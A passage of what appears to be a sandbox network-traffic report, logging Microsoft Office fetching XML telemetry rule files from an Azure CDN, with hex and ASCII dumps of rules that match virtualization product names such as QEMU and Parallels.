T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:09 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200409Z-16547b76f7ftnm6xhC1DFW9c8c00000005v000000000mwyc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:09 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 305d852f-501e-00a0-13f0-399d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200409Z-164f84587bfn7ppchC1DFW45b400000000q000000000bfve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:09 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200409Z-1866b5c5fbbx98hfhC1DFWuqmg00000004y000000000r9fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:09 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:09 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 642e1ba1-501e-00a0-3cb8-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200409Z-164f84587bft9l9khC1DFW32rc000000066000000000pzyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:09 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:09 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 3ec875b9-801e-00ac-137b-37fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-164f84587bfs5tz9hC1DFW9a3w00000006d0000000007r53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:10 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:09 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-1866b5c5fbbvz6qbhC1DFWsyms00000005dg00000000sxab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:10 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:10 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:10 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f6e15b3c-401e-0083-16b1-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-164f84587bfn7ppchC1DFW45b400000000kg00000000p9b9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:10 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-1866b5c5fbbb286shC1DFWx97800000002pg00000000ppce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:10 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:10 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: ad4cd811-101e-0017-1d77-3847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-1866b5c5fbb2cz68hC1DFW9ytc000000059000000000qbfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:10 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-164f84587bfdt5l2hC1DFW88gs00000004gg00000000v4kp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:10 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb2e9763-101e-0079-2c7d-375913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-164f84587bfbvgrghC1DFWbs7w000000069000000000c4rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:10 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:11 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200410Z-16547b76f7fr5rfnhC1DFW0am400000003q000000000sf2c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 